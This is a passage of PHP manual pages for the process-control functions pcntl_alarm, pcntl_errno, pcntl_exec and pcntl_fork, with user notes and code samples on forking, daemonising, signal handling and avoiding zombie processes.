# this script is ran, the result is 5 (in this example) processes running to
# accomplish a specified task.

# Examples could be a messaging queue.  You could get the number of messages in
# a queue and handle any or all of them asynchronously.

# Get the number of children you want to be born by running this
# script once.
$children = 5; # likely a function call here.

for ($i=1; $i<=$children; $i++)
{

  $pid = pcntl_fork();
  if ($pid == -1)
  {
    die("could not fork\n");
  }
  else if ($pid)
  {
    # If we are the parent, we did our job of giving birth,
    # now lets finish our job and die!
    exit(0);
  }
  else
  {
    # Since we are the child, fork so that init will become our parent.  Init
    # is good at wait()ing on children - ie: reaping.
    $cpid = pcntl_fork();
    if ($cpid == -1)
    {
      die("could not fork in child process\n");
    }
    if (!$cpid)
    {
      # We have now forked off from our parent and also are not waiting on any
      # other children to process, however other children are running
      # simutaniously to us.  Make sure the code you write here is safe to run
      # in this environment of multiprocessing - ie: proper locking, etc.
      # Write the custom code here that you want to multiprocess.

      # ADD CODE HERE TO MULTIPROCESS
      print "we are child number $i\n";

      # Don't forget to exit after the child processing is done.  Certainly
      # change this exit code if you need to however.
      exit(0);
    }
  }
}

?>
David Koopman 14-Sep-2003 10:32
I had a hard time finding a complete example of using PHP as a multi-process (or multi-threaded - I don't understand the difference in these two terms) daemon using connection pooling.  I put pieces of the puzzle together and came up with the program below.  I hope it helps someone.  Notes about making this work:

1) I rebuilt PHP on my machine with these config options:
./configure --enable-sockets --enable-pcntl --enable-sigchild
make
make install

2) I have problems when tried to handle SIGTERM and SIGHUP myself, so I removed these from my code, don't use them unless you have a special need for this:
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");

What I do is:
1. start the program, then fork to detach from the terminal (kill the parent and make the child the session leader).

2. bind to address and port and start listening.

3. fork $poolNum times, creating $poolNum children (this is the pool of daemons running.  The children handle the incoming connections).

4. keep the parent process running in a loop, constantly checking to see if it should create a new child.  It will always keep $poolNum spare children ready (as long as the total pooled connections doesn't exceed $maxDaemon).  As connections come in, more children are spawned.

5. When a new connection comes in, it is handed off to the first child.  This child then sends a SIGUSR1 signal back to the parent.  The parent has a signal handler for SIGUSR1, which will increment the $numActive variable by one.  The loop that is running (see 4 above) will note the increment in $numActive and automatically create a new child process to keep the process pool going.

I have to post the code in the next note, the note engine on this site won't allow such a long note to be posted, but I think this code example is well worth a comment on this...
schst at php dot net 01-Sep-2003 04:39
To get rid of the zombies when child processes terminate you do not have to write a lot of code that uses complex stuff like message queues.
Instead you only set a signal handler:

pcntl_signal(SIGCHLD, SIG_IGN);

Stephan
Patrice Levesque 14-Jun-2003 10:11
So, you want to create multiple child processes and don't want any zombies, don't you?

You can use IPC to achieve just that.  Every child that is spawned has to tell its parent that time has come for him to be terminated.  So, yes, zombies will be created, but once in a while the parent will 'clean up' after his kids.  Code:

<?php
  declare(ticks = 1);
  // create a IPC message queue
  $msgqueue = msg_get_queue(ftok("/tmp/php_msgqueue.stat", 'R'),0666 | IPC_CREAT);
  // loop for 1000 children
  for ($c = 0; $c < 1000; $c++) {
    // fork
    $pcid = pcntl_fork();
    if ($pcid == -1) {
      die("Could not fork!");
    }
    elseif ($pcid) { // we are the parent, look for zombie kids and terminate 'em
      // look in the IPC message queue if there are any entries
      $currentqueue = msg_stat_queue($msgqueue);
      $n = $currentqueue['msg_qnum']; // number of messages (number of kids to terminate)
      if ($n > 0) {
        echo "There are $n kids to terminate.\n";
        for ($i = 0; $i < $n; $i++) {
          // pop the kid's PID from the IPC message queue
          if (!msg_receive ($msgqueue, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
            echo "MSG_RECV ERROR: $errmsg \n"; // something has gone wrong
          }
          else {
            pcntl_waitpid($msg, $tmpstat, 0); // terminate kid for real.
          };
        };
      };
    }
    else { // we are the child!
      if (!posix_setsid()) { die ("Could not detach"); }; // detach
      echo "I am child number $c\n";
      sleep(5); // do something useful
      // tell dad I'm finished via IPC: send him my PID
      if (!msg_send($msgqueue, 1, posix_getpid(), true, true, $errmsg)) {
        echo "MSG_SEND ERROR: $errmsg \n";
      };
      exit(); // become a zombie until dad kills me
    };
  };
?>
van[at]webfreshener[dot]com 11-Oct-2002 04:53
Forking your PHP daemon will cause it to zombie on exit.

...or so I've seen on:
FreeBSD (PHP4.2.x)
Debian (PHP4.3.0-dev)
Darwin (PHP4.3.0-dev)

This was tested with the example code above and other scripts created for evaluation.

Seems adding --enable-sigchild to your configure will get rid of the problem.

Hope that saves some hair tearing :]
keksov[at]gmx.de 29-May-2002 07:10
You have to use socket_select before socket_accept, so your code will wait for connection with select. socket_select can be interrupted by signals easily. Below is an example from my library (methods of class TNetSocket):
  //-- select
  function select($aread=NULL,$awrite=NULL,$aexcept=NULL,$timeout=NULL)
  {
    while(1)
    {
      $res="";
      $res=socket_select($aread, $awrite, $aexcept, $timeout);

      // if errno===0 it means what select was interrrupted by SysV signal
      if($res===false && socket_last_error($this->socket())!==0)
      { // error occured, interrupted not by a signal
        $this->set_socket_error(__LINE__);
        return(false);
      }
      break;
    }
    return(true);
  }

  //-- accept, wait for incomming connection
  function accept()
  {
    $this->clear_socket_error();
    $this->set_io_socket(_SOCKET_);

    $socket=$this->socket();
    $aread=array($socket);
    if ($this->select($a=&$aread)===false)
      return(false);

    $child_socket=socket_accept($this->socket);
    if($child_socket <= 0)
    { // error occured
      $this->set_socket_error(__LINE__);
      return(false);
    }

    $this->child_socket=$child_socket;
    $this->sockets[_CHILD_SOCKET_]=&$this->child_socket;
    $this->set_io_socket(_CHILD_SOCKET_);

    $a=&$this->peername;
    $res=socket_getpeername($child_socket,$a);

    if($res <= 0)
    { // error occured
      $this->set_socket_error(__LINE__);
      return(false);
    }

    $this->get_address_and_port(_CHILD_SOCKET_);
    TLogManager::phpserv("Connection accepted. ADDRESS $this->address, PORT $this->port","net_socket",__FILE__,__LINE__);

    $this->connected=true;
    return(true); // return new object of TNetSocket type
  }
daniel[at]lorch.cc 28-Feb-2002 12:48
This piece of code helped me to find out what signals are being sent to my process:

function sig_identify($signo) {
  switch($signo) {
    case SIGFPE:    return 'SIGFPE';
    case SIGSTOP:   return 'SIGSTOP';
    case SIGHUP:    return 'SIGHUP';
    case SIGINT:    return 'SIGINT';
    case SIGQUIT:   return 'SIGQUIT';
    case SIGILL:    return 'SIGILL';
    case SIGTRAP:   return 'SIGTRAP';
    case SIGABRT:   return 'SIGABRT';
    case SIGIOT:    return 'SIGIOT';
    case SIGBUS:    return 'SIGBUS';
    case SIGPOLL:   return 'SIGPOLL';
    case SIGSYS:    return 'SIGSYS';
    case SIGCONT:   return 'SIGCONT';
    case SIGUSR1:   return 'SIGUSR1';
    case SIGUSR2:   return 'SIGUSR2';
    case SIGSEGV:   return 'SIGSEGV';
    case SIGPIPE:   return 'SIGPIPE';
    case SIGALRM:   return 'SIGALRM';
    case SIGTERM:   return 'SIGTERM';
    case SIGSTKFLT: return 'SIGSTKFLT';
    case SIGCHLD:   return 'SIGCHLD';
    case SIGCLD:    return 'SIGCLD';
    case SIGIO:     return 'SIGIO';
    case SIGKILL:   return 'SIGKILL';
    case SIGTSTP:   return 'SIGTSTP';
    case SIGTTIN:   return 'SIGTTIN';
    case SIGTTOU:   return 'SIGTTOU';
    case SIGURG:    return 'SIGURG';
    case SIGXCPU:   return 'SIGXCPU';
    case SIGXFSZ:   return 'SIGXFSZ';
    case SIGVTALRM: return 'SIGVTALRM';
    case SIGPROF:   return 'SIGPROF';
    case SIGWINCH:  return 'SIGWINCH';
    case SIGPWR:    return 'SIGPWR';
  }
}

function sig_handler($signo) {
  echo "Caught " . sig_identify($signo) . " (" . $signo  . ") on " . posix_getpid() . "\n";
}

pcntl_signal(SIGFPE, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");
// pcntl_signal(SIGINT, "sig_handler");
pcntl_signal(SIGQUIT, "sig_handler");
pcntl_signal(SIGILL, "sig_handler");
pcntl_signal(SIGTRAP, "sig_handler");
pcntl_signal(SIGABRT, "sig_handler");
pcntl_signal(SIGIOT, "sig_handler");
pcntl_signal(SIGBUS, "sig_handler");
pcntl_signal(SIGPOLL, "sig_handler");
pcntl_signal(SIGSYS, "sig_handler");
pcntl_signal(SIGCONT, "sig_handler");
pcntl_signal(SIGUSR1, "sig_handler");
pcntl_signal(SIGUSR2, "sig_handler");
pcntl_signal(SIGSEGV, "sig_handler");
pcntl_signal(SIGPIPE, "sig_handler");
pcntl_signal(SIGALRM, "sig_handler");
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGSTKFLT, "sig_handler");
pcntl_signal(SIGCHLD, "sig_handler");
pcntl_signal(SIGCLD, "sig_handler");
pcntl_signal(SIGIO, "sig_handler");
pcntl_signal(SIGTSTP, "sig_handler");
pcntl_signal(SIGTTIN, "sig_handler");
pcntl_signal(SIGTTOU, "sig_handler");
pcntl_signal(SIGURG, "sig_handler");
pcntl_signal(SIGXCPU, "sig_handler");
pcntl_signal(SIGXFSZ, "sig_handler");
pcntl_signal(SIGVTALRM, "sig_handler");
pcntl_signal(SIGPROF, "sig_handler");
pcntl_signal(SIGWINCH, "sig_handler");
pcntl_signal(SIGPWR, "sig_handler");

I commented out SIGNIT, as it is the signal which is sent to your process when you press CTRL-C. If you catch this signal, you must handle it properly:

function sig_handler($signo) {
  switch($signo) {
    case SIGINT:
      // customized cleanup code
      exit; // now exit
      break;
  }
}

Otherwise the only possibility to stop your process is by sending a SIGKILL signal - you can do this on the shell by typing "kill -9 PID" (where -9 is the numerical value for SIGKILL).

Note: You cannot add a handler (i.e. ignore signals) for SIGSTOP and SIGKILL - for obvious reasons.


Set an alarm clock for delivery of a signal

  • « PCNTL Functions
  • pcntl_errno »
  • PHP Manual
  • PCNTL Functions
  • Set an alarm clock for delivery of a signal

pcntl_alarm

(PHP 4 >= 4.3.0, PHP 5)

pcntl_alarm — Set an alarm clock for delivery of a signal

Description

int pcntl_alarm ( int $seconds )

Creates a timer that will send a SIGALRM signal to the process after the given number of seconds. Any call to pcntl_alarm() will cancel any previously set alarm.

Parameters

seconds

The number of seconds to wait. If seconds is zero, no new alarm is created.

Return Values

Returns the time in seconds that any previously scheduled alarm had remaining before it was to be delivered, or 0 if there was no previously scheduled alarm.

User Contributed Notes

There are no user contributed notes for this page.


Alias of pcntl_strerror

  • « pcntl_alarm
  • pcntl_exec »
  • PHP Manual
  • PCNTL Functions
  • Alias of pcntl_strerror

pcntl_errno

(PHP 5 >= 5.3.4)

pcntl_errno — Alias of pcntl_strerror()

Description

This function is an alias of: pcntl_strerror()

User Contributed Notes

There are no user contributed notes for this page.


Executes specified program in current process space

  • « pcntl_errno
  • pcntl_fork »
  • PHP Manual
  • PCNTL Functions
  • Executes specified program in current process space

pcntl_exec

(PHP 4 >= 4.2.0, PHP 5)

pcntl_exec — Executes specified program in current process space

Description

void pcntl_exec ( string $path [, array $args [, array $envs ]] )

Executes the program with the given arguments.

Parameters

path

path must be the path to a binary executable or a script with a valid path pointing to an executable in the shebang ( #!/usr/local/bin/perl for example) as the first line. See your system's man execve(2) page for additional information.

args

args is an array of argument strings passed to the program.

envs

envs is an array of strings which are passed as environment to the program. The array is in the format of name => value, the key being the name of the environmental variable and the value being the value of that variable.

Return Values

Returns FALSE on error and does not return on success.

User Contributed Notes

maxime at diametrick dot com 02-May-2013 03:20
An alternative for Windows environment is to use the COM object. With this, you can start child process with Apache, or php.exe as parent process. Very useful for CLI or console PHC-Win applications.

if(!function_exists('pcntl_exec')){
  function pcntl_exec($path,$args=array()){
    if(is_string($args)) $args = array($args);
    if(count($args)) $path = '"'.$path.'"';
    $shell = new COM('WScript.Shell');
    $shell->run($path.(count($args) ? ' '.implode(' ',$args) : ''),0,true);
  }
}

Very useful too when you want to use ansicon. Instead of make a .bat file with ansicon -p and php .... (somefile).php, in your .php file you can put this on top of your code:

pcntl_exec('ansicon -p');

BINGO!
fahadsadah at gmail dot com dot please dot remove dot this 28-Jun-2008 04:44
Just a note regarding what rbemrose at vgmusic dot com said:
Once the executed process ends, control returns to the webserver process.
rbemrose at vgmusic dot com 06-Feb-2008 11:44
As a side note, if I'm reading the comments below correctly, you should not run this if you're using a PHP webserver module, as it will replace the webserver's process with whatever process you're telling it to run.
agodong at verizon dot net 07-Dec-2006 07:47
Some people might find it useful to run other program using the same process as a different user. This is very usefull if the script is running under root. Here is a simple code to achieve that under *nix PHP CLI:

#!/usr/bin/php -q
<?php
//Enter run-as user below (argument needed to be passed when the script is called), otherwise it will run as the caller user process.

$username = $_SERVER['argv'][1];

$user = posix_getpwnam($username);
posix_setuid($user['uid']);
posix_setgid($user['gid']);
pcntl_exec('/path/to/cmd');
?>

I use this as a part of socket program so that a program can be run under different user from remote location.
eric kilfoil 24-Oct-2006 07:01
The pcntl_exec() function works exactly like the standard (unix-style) exec() function.  It differs from the regular PHP exec() function in that the process calling the pcntl_exec() is replaced with the process that gets called.  This is the ideal method for creating children.  In a simple example (that does no error checking):

switch (pcntl_fork()) {
  case 0:
    $cmd = "/path/to/command";
    $args = array("arg1", "arg2");
    pcntl_exec($cmd, $args);
    // the child will only reach this point on exec failure,
    // because execution shifts to the pcntl_exec()ed command
    exit(0);
  default:
    break;
}

// parent continues
echo "I am the parent";

--

since this is not being executed through a shell, you must provide the exact path from the filesystem root.  Look at the execve() man page for more information.
michael dot ferre at mobileway dot com 20-Nov-2002 12:28
//To complete my last note
//If you use some object in your php code
//You will have some problem if you do a exit after include the
//child scripts
//You must use posix_kill() like that :

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0)
{
  include ($script_path);
  posix_kill(getmypid(),9);
}

//This code is very simple it can be ameliorate ;)


Forks the currently running process

  • « pcntl_exec
  • pcntl_get_last_error »
  • PHP Manual
  • PCNTL Functions
  • Forks the currently running process

pcntl_fork

(PHP 4 >= 4.1.0, PHP 5)

pcntl_fork — Forks the currently running process

Description

int pcntl_fork ( void )

The pcntl_fork() function creates a child process that differs from the parent process only in its PID and PPID. Please see your system's fork(2) man page for specific details as to how fork works on your system.

Return Values

On success, the PID of the child process is returned in the parent's thread of execution, and a 0 is returned in the child's thread of execution. On failure, a -1 will be returned in the parent's context, no child process will be created, and a PHP error is raised.

Examples

Example #1 pcntl_fork() example

<?php

$pid = pcntl_fork();
if ($pid == -1) {
     die('could not fork');
} else if ($pid) {
     // we are the parent
     pcntl_wait($status); //Protect against Zombie children
} else {
     // we are the child
}

?>

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child
  • pcntl_signal() - Installs a signal handler
  • setproctitle() - Set the process title

User Contributed Notes

kenneth at fellowrock dot com 04-Oct-2014 12:20
I just thought of contributing to this awesome community and hope this can be of use to someone. Although PHP provides threaded options, and multi curl handles that run in parallel, I managed to bash out a solution to run each function as it's own process for non-threaded versions of PHP.

Usage:  #!/usr/bin/php
Usage: php -f /path/to/file

#!/usr/bin/php
<?php
function fork_process($options)
{
    $shared_memory_monitor = shmop_open(ftok(__FILE__, chr(0)), "c", 0644, count($options['process']));
    $shared_memory_ids = (object) array();
    for ($i = 1; $i <= count($options['process']); $i++)
    {
        $shared_memory_ids->$i = shmop_open(ftok(__FILE__, chr($i)), "c", 0644, $options['size']);
    }
    for ($i = 1; $i <= count($options['process']); $i++)
    {
        $pid = pcntl_fork();
        if (!$pid)
        {
            if($i==1)
                usleep(100000);
            $shared_memory_data = $options['process'][$i - 1]();
            shmop_write($shared_memory_ids->$i, $shared_memory_data, 0);
            shmop_write($shared_memory_monitor, "1", $i-1);
            exit($i);
        }
    }
    while (pcntl_waitpid(0, $status) != -1)
    {
        if(shmop_read($shared_memory_monitor, 0, count($options['process'])) == str_repeat("1", count($options['process'])))
        {
            $result = array();
            foreach($shared_memory_ids as $key=>$value)
            {
                $result[$key-1] = shmop_read($shared_memory_ids->$key, 0, $options['size']);
                shmop_delete($shared_memory_ids->$key);
            }
            shmop_delete($shared_memory_monitor);
            $options['callback']($result);
        }
    }
}

// Create shared memory block of size 1M for each function.
$options['size'] = pow(1024,2);

// Define 2 functions to run as its own process.
$options['process'][0] = function()
{
    // Whatever you need goes here...
    // If you need the results, return its value.
    // Eg: Long running proccess 1
    sleep(1);
    return 'Hello ';
};
$options['process'][1] = function()
{
    // Whatever you need goes here...
    // If you need the results, return its value.
    // Eg:
    // Eg: Long running proccess 2
    sleep(1);
    return 'World!';
};
$options['callback'] = function($result)
{
    // $results is an array of return values...
    // $result[0] for $options['process'][0] &
    // $result[1] for $options['process'][1] &
    // Eg:
    echo $result[0].$result[1]."\n";
};
fork_process($options);

?>

If you'd like to get the results back from a webpage, use exec(). Eg: echo exec('php -f /path/to/file');

Continue hacking! :)
John Nicholls 07-Feb-2014 06:52
The notes on http://php.net/manual/en/function.posix-setsid.php describe how you can avoid accruing countless zombie processes by a simple call to posix_setsid() when a child starts.
manishpatel2280 at gmail dot com 08-Dec-2012 03:41
Its been easy to fork process with pcntl_fork.. but how can we control or process further once all child processes gets completed.. here is the way we can do that...

<?php
for ($i = 1; $i <= 5; ++$i) {
        $pid = pcntl_fork();

        if (!$pid) {
            sleep(1);
            print "In child $i\n";
            exit($i);
        }
    }

    while (pcntl_waitpid(0, $status) != -1) {
        $status = pcntl_wexitstatus($status);
        echo "Child $status completed\n";
    }
?>
kexianbin at diyism dot com 13-Dec-2011 08:17
Fork in foreach:

<?php
foreach ($tasks as $v)
        {if (($pid=pcntl_fork())===-1)
            {//...
             continue;
            }
         else if ($pid)
              {pcntl_wait($status, WNOHANG); //protect against zombie children, one wait vs one child
              }
         else if ($pid===0)
              {ob_start();//prevent output to main process
               register_shutdown_function(create_function('$pars', 'ob_end_clean();posix_kill(getmypid(), SIGKILL);'), array());//to kill self before exit();, or else the resource shared with parent will be closed
               //...
               exit();//avoid foreach loop in child process
              }
        }
?>
nmmm at nmmm dot nu 21-Nov-2011 07:57
It was driving me crazy that the script was killed couple of hours after I logged out, even I started it as:

php server.php >& logfile.txt

looks like PHP somehow interact with standard input, even I do not used it.

Solution was to start it with nohup:

nohup php server.php >& logfile.txt

or to do demonize / run as demon (e.g. fork() and close file descriptors)
sean dot kelly at mediatile dot com 23-Oct-2010 02:36
"Fatal Error" has always been the bane of my world because there is no way to capture and handle the condition in PHP. My team builds almost everything in PHP in order to leverage our core library of code, so it was of the essence to find a solution for this problem of scripts bombing unrecoverably and us never knowing about it.

One of our background automation systems creates a "task queue" of sorts and for each task in the queue, a PHP module is include()ed to handle the task. Sometimes however a poorly behaved module will nuke with a Fatal Error and take out the parent script with it.

I decided to try to use pcntl_fork() to isolate the task module from the parent code, and it seems to work: a Fatal Error generated within the module makes the child task bomb, and the waiting parent can simply catch the return code from the child and track/alert us to the problem as needed.

Naturally something similar could be done if I wanted to simply exec() the module and check the output, but then I would not have the benefit of the stateful environment that the parent script has so carefully prepared. This allows me to keep the child process within the context of the parent's running environment and not suffer the consequences of Fatal Errors stopping the task queue from continuing to process.

Here is fork_n_wait.php for your amusement:

<?php

if (! function_exists('pcntl_fork')) die('PCNTL functions not available on this PHP installation');

for ($x = 1; $x < 5; $x++) {
   switch ($pid = pcntl_fork()) {
      case -1:
         // @fail
         die('Fork failed');
         break;

      case 0:
         // @child: Include() misbehaving code here
         print "FORK: Child #{$x} preparing to nuke...\n";
         generate_fatal_error(); // Undefined function
         break;

      default:
         // @parent
         print "FORK: Parent, letting the child run amok...\n";
         pcntl_waitpid($pid, $status);
         break;
   }
}

print "Done! :^)\n\n";
?>

Which outputs:
php -q fork_n_wait.php
FORK: Child #1 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #2 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #3 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #4 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
Done! :^)
KrazyBox 13-Aug-2010 04:33
There are quite a few questions regarding how file descriptors get handled when processes are forked.

Remember that fork() makes a copy of the program, which means all descriptors are copied. Unfortunately, this is a rather bad situation for a PHP program because most descriptors are handled by PHP or a PHP Extension internally.

The simple, and probably "proper" way to solve this issue is to fork before hand, there really should be no need to fork at many different points among a program, you would simply fork, and then delegate the work. Use a master/worker hierarchy.

For example, if you need to have many processes that use a MySQL Connection, just fork before the connection is made, that way each child has it´s own connection to mysql that it, and it alone, manages.

With careful and correct usage, fork() can be an extremely powerful tool.

--Please remember to take proper care of your children.
somebody 12-Aug-2010 12:46
you should be _very_ careful with using fork in scripts beyond academic examples,
or rather just avoid it alltogether, unless you are very aware of it's limitations.

the problem is that it just forks the whole php process, including not only
the state of the script, but also the internal state of any extensions loaded.
this means that all memory is copied, but all file descriptors are shared among
the parent and child processes.
and that can cause major havoc if some extension internally maintains
file descriptors.
the primary example is ofcourse mysql, but this could be any extensions that
maintains open files or network sockets.
also, just reopening your connection in the parent or child isn't a safe
method, because when the old connection resource is destroyed, the extension
might not just close it, but for example send a request to the server to log
off, making the connection unusable.
this happens with mysql for example, when php exits - in the following script the query will always fail with "MySQL server has gone away":

<?php
mysql_connect(/* enter a working server here maybe? */);
if(pcntl_fork()) die(); // fork a child and have the parent terminate
//if(pcntl_fork()) posix_kill(getmypid(),9); // works, but very ugly
$r=mysql_query("select 1;");
if(!$r)die(mysql_error()."\n");
?>
(it was suggested that processes kill themselves with SIGKILL to avoid any cleanup on shutdown)

(the only save way would be to close all connections and reopen them after the fork, and even that might not be possible if an extension keeps one open internally)

for a nice demonstration of the havoc fork can create, try the below script.
it opens a mysql connection, then forks, and runs queries from both parent and child,
verifying that it receives the correct result.
run it (on the cli preferably) a few times, and you will find various possible
results:
- very often is just hangs and doesn't output anything anymore
- also very often, the server closes the connection, probably because it
  receives interleaved requests it can't process.
- sometimes one process gets the result of the OTHER processes'
  query! (because both send their queries down the same socket,
  and it's pure luck who gets the reply)

<?php
mysql_connect(/* enter a working server here maybe? */);
$f=pcntl_fork();
while(true){
    sleep(rand(0,10)/100);
    $r=mysql_query("select $f;");
    if(!$r)die($f.": ".mysql_error()."\n");
    list($x)=mysql_fetch_array($r);
    echo ($f)?".":"-";
    if($x!=$f) echo ($f.": fail: $x!=$f\n ");
}
?>
iulian 10-Jul-2010 08:58
When using fork to run multiple children processes on a single job queue using mysql, I used mysql_affected_rows() to prevent collisions between workers:

First I find a "free" job:
SELECT job_id FROM queue WHERE status="free"

Then I update the queue:
UPDATE queue SET worker_id={$worker_id} WHERE job_id={$job_id}

Then I see if the row was changed

<?php
if(mysql_affected_rows() == 0)
{
//the row hasn't changed, so it must mean that another worker has claimed the job, so I go back to the "find a free job" query
}
else
{
//do the job
}
?>
duerra at yahoo dot com 02-Jul-2010 04:06
Using pcntl_fork() can be a little tricky in some situations.  For fast jobs, a child can finish processing before the parent process has executed some code related to the launching of the process.  The parent can receive a signal before it's ready to handle the child process' status.  To handle this scenario, I add an id to a "queue" of processes in the signal handler that need to be cleaned up if the parent process is not yet ready to handle them.

I am including a stripped down version of a job daemon that should get a person on the right track.

<?php
declare(ticks=1);
//A very basic job daemon that you can extend to your needs.
class JobDaemon{

    public $maxProcesses = 25;
    protected $jobsStarted = 0;
    protected $currentJobs = array();
    protected $signalQueue=array();
    protected $parentPID;

    public function __construct(){
        echo "constructed \n";
        $this->parentPID = getmypid();
        pcntl_signal(SIGCHLD, array($this, "childSignalHandler"));
    }

    /**
    * Run the Daemon
    */
    public function run(){
        echo "Running \n";
        for($i=0; $i<10000; $i++){
            $jobID = rand(0,10000000000000);

            while(count($this->currentJobs) >= $this->maxProcesses){
               echo "Maximum children allowed, waiting...\n";
               sleep(1);
            }

            $launched = $this->launchJob($jobID);
        }

        //Wait for child processes to finish before exiting here
        while(count($this->currentJobs)){
            echo "Waiting for current jobs to finish... \n";
            sleep(1);
        }
    }

    /**
    * Launch a job from the job queue
    */
    protected function launchJob($jobID){
        $pid = pcntl_fork();
        if($pid == -1){
            //Problem launching the job
            error_log('Could not launch new job, exiting');
            return false;
        }
        else if ($pid){
            // Parent process
            // Sometimes you can receive a signal to the childSignalHandler function before this code executes if
            // the child script executes quickly enough!
            //
            $this->currentJobs[$pid] = $jobID;

            // In the event that a signal for this pid was caught before we get here, it will be in our signalQueue array
            // So let's go ahead and process it now as if we'd just received the signal
            if(isset($this->signalQueue[$pid])){
                echo "found $pid in the signal queue, processing it now \n";
                $this->childSignalHandler(SIGCHLD, $pid, $this->signalQueue[$pid]);
                unset($this->signalQueue[$pid]);
            }
        }
        else{
            //Forked child, do your deeds....
            $exitStatus = 0; //Error code if you need to or whatever
            echo "Doing something fun in pid ".getmypid()."\n";
            exit($exitStatus);
        }
        return true;
    }

    public function childSignalHandler($signo, $pid=null, $status=null){

        //If no pid is provided, that means we're getting the signal from the system.  Let's figure out
        //which child process ended
        if(!$pid){
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }

        //Make sure we get all of the exited children
        while($pid > 0){
            if($pid && isset($this->currentJobs[$pid])){
                $exitCode = pcntl_wexitstatus($status);
                if($exitCode != 0){
                    echo "$pid exited with status ".$exitCode."\n";
                }
                unset($this->currentJobs[$pid]);
            }
            else if($pid){
                //Oh no, our job has finished before this parent process could even note that it had been launched!
                //Let's make note of it and handle it when the parent process is ready for it
                echo "..... Adding $pid to the signal queue ..... \n";
                $this->signalQueue[$pid] = $status;
            }
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }
        return true;
    }
}
Anonymous 19-Nov-2009 07:12
With regards to the database connection, one could deal with this using kill 9 or a sleep, the real problem is if two threads make a database query at the same time, PHP starts having random database errors that are not necessarily clear as to what the problem is.

You should create a separate link per thread.
Tony 29-Oct-2009 12:05
If you want to execute some code after your php page has been returned to the user. Try something like this -

<?php
function index()
{
        function shutdown() {
            posix_kill(posix_getpid(), SIGHUP);
        }

        // Do some initial processing

        echo("Hello World");

        // Switch over to daemon mode.

        if ($pid = pcntl_fork())
            return;     // Parent

        ob_end_clean(); // Discard the output buffer and close

        fclose(STDIN);  // Close all of the standard
        fclose(STDOUT); // file descriptors as we
        fclose(STDERR); // are running as a daemon.

        register_shutdown_function('shutdown');

        if (posix_setsid() < 0)
            return;

        if ($pid = pcntl_fork())
            return;     // Parent

        // Now running as a daemon. This process will even survive
        // an apachectl stop.

        sleep(10);

        $fp = fopen("/tmp/sdf123", "w");
        fprintf($fp, "PID = %s\n", posix_getpid());
        fclose($fp);

        return;
}
?>
php at mx dot magic-lamp dot org 11-Sep-2009 10:31
A workaround for the MySQL "Lost Connection during query", or any other object related problems caused by children exiting is to force the child to kill -9 itself, thus avoiding any cleanup.  Sure - it's not too elegant, but it does work.

<?php
$pid = pcntl_fork();
if ( $pid == 0 ) {
    // This is the child process.  Do something here.
    // Instead of calling exit(), we use posix_kill()
    posix_kill(getmypid(),9);
}
?>

Watch out that you don't spawn too many processes though as this creates its own problems.
drrota at us dot ibm dot com 22-Aug-2009 12:47
I was able to get around the problem of not being able to run fork and exec from Apache php.

I got around this by calling the system 'at' command on Linux.  "at run something now".  and you have to set atrun -s in a crontab file (to run every minute) to insure that things get kicked off quickly even if there is a heavy load on the machine.

If you're the only one running batch jobs on a linux box, this works.
kentmussell at mindspring dot com 27-Nov-2007 07:05
Here is an interesting script I wrote.  It demonstrates how pcntl_fork() might be used as a useful tool.

<?php
/* This script serves the purpose of testing an algorithm designed to:
a.) Compare password hashes, or try passwords efficiently where the time to try a single password is 10 seconds.
b.) Spawn threads to work simultaneously on comparing hashes.
c.) Restrict the number of threads open at a time.
*/
//checks for divisibility
function divby($num,$den) {
    $result = $num/$den;
    $result2 = floor($result);
    if ($result == $result2) {
        return true;
        }
    else {
        return false;
        }
    }
//checks whether a period of time fits into 2 second intervals occuring every 10 seconds.  Interval may increase or decrease in size to use more or less memory.
function goodTime($elapsed) {
    $num = floor($elapsed);
    $num = $num/12;
    $min = floor($num);
    $min = 12*$min;
    $max = $min+2;
    if ($elapsed >= $min && $elapsed <= $max) {
        return "yes";
        }
    else {
        return "no";
        }
    }

$x = 30; //number of child threads
$pid = 1; //needed to create first thread
$xpass = md5('29');//hash to crack
$time = time();
$i = 1;
//parent spawns $x children.
while ($i <= $x) {
    if (file_exists('childcall.txt')) {
        unlink('childcall.txt');
        exit;
        }
    $elapsed = time()-$time;
    //children are only spawned during intervals occuring every 10 seconds leaving enough time for the previous batch of children to finish their task.
    if (goodTime($elapsed)=="yes") {
        //Are we the parent?
        if ($pid != 0) {
            //Give birth to a child.
            $pid = pcntl_fork();
            //create a record of how many children have been birthed.
            $arr[$i] = $i;
            $time2 = $elapsed;
            }
        //escort children out of the loop.
        if ($pid == 0) {
            $i = $x+1;
            }
        $i++;
        }
    }
//parent waits for children to finish playing.
if ($pid) {
    $value = 1;
    while (!file_exists('childcall.txt')) {
        //wait
        }
    unlink('childcall.txt');
    $time = time()+2;
    while (time()<$time) {
        //wait
        }
    exit;
    }
//children take turns finding the highest array value, and changing it to 0
rsort($arr);
$value = max($arr);
$arr[$value] = 0;
$time = time()+10;
//simulate delay
while (time() < $time) {
    //wait
    }
//compare the high array value hash to the hash we are looking to crack.
if (md5($value) == $xpass) {
    echo "$value \n";
    }
if ($value == $x || md5($value) == $xpass) {
    $file = "childcall.txt";
    $content = true;
    file_put_contents($file,$contents);
    }
?>
amatsak at chestnutsoftware dot com 25-Oct-2006 11:06
The reason for the MySQL "Lost Connection during query" issue when forking is the fact that the child process inherits the parent's database connection. When the child exits, the connection is closed. If the parent is performing a query at this very moment, it is doing it on an already closed connection, hence the error.

